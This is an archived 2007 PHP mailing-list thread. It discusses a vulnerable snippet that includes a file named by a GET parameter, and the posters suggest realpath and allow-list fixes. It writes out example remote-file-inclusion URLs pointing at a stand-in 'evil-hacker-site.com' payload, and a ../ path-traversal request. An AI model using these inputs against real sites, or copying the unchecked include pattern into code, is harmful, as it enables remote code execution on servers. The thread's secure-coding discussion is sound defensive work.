RE: file_exists

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 





> Date: Thu, 15 Nov 2007 13:16:46 +0000
> From: stuttle@xxxxxxxxx
> To: instructicc@xxxxxxxxxxx
> CC: php-general@xxxxxxxxxxxxx
> Subject: Re:  file_exists
> 
> Instruct ICC wrote:
> > 
> > 
> >> Date: Thu, 15 Nov 2007 00:20:52 +0000
> >> From: stuttle@xxxxxxxxx
> >> To: philthathril@xxxxxxxxx
> >> CC: php-general@xxxxxxxxxxxxx
> >> Subject: Re:  file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example....
> >>>
> >>>> $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> > 
> > Called like this?
> > 
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> > 
> > And the browser will probably url_encode for me if needed.
> 
> Actually in this example that would end up getting evil-payload.php.php 
> - probably not what your evil mind wanted. You could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload
> 
> ...assuming you know it's gonna stick .php on the end. Alternatively you 
> could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
> 
> Resulting in the appended .php being in the querystring. The easiest way 
> to protect your code from this is to always always prefix the string 
> with something as well as appending to it. For example...
> 
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
>      include ($page);
> }
> 
> But that doesn't prevent a malicious user including any PHP file on your 
> server. $_GET['page'] should be one of a known set of values. At the 
> very least it should be restricted to file in a particular directory.
> 
> Something like the following would be much better (untested)...
> 
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
>      // Ideally return a 403 status here
>      die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
>      include($page);
> }
> else
> {
>      // Return a 404 status here
>      die('Resource not found');
> }
> 
> That should lock the requested page to the given directory. If anyone 
> can see any way around that I'd be interested in hearing about it.
> 
> -Stut
> 
> -- 
> http://stut.net/

Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"

Maybe a switch statement that only uses the file name supplied by the script (whether or not an unknown user supplies an actual file name.  I just did something like that today.  I have a custom "ls" type PHP script and I want it to search 1 of 2 directories only.  I check if the GET var is set; don't even look at the value, then do a custom "ls" on 1 or the other directory which is in the web path.  The whole site is behind htaccess though, but I added this layer for this special "ls" function.

_________________________________________________________________
Help yourself to FREE treats served up daily at the Messenger Café. Stop by today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux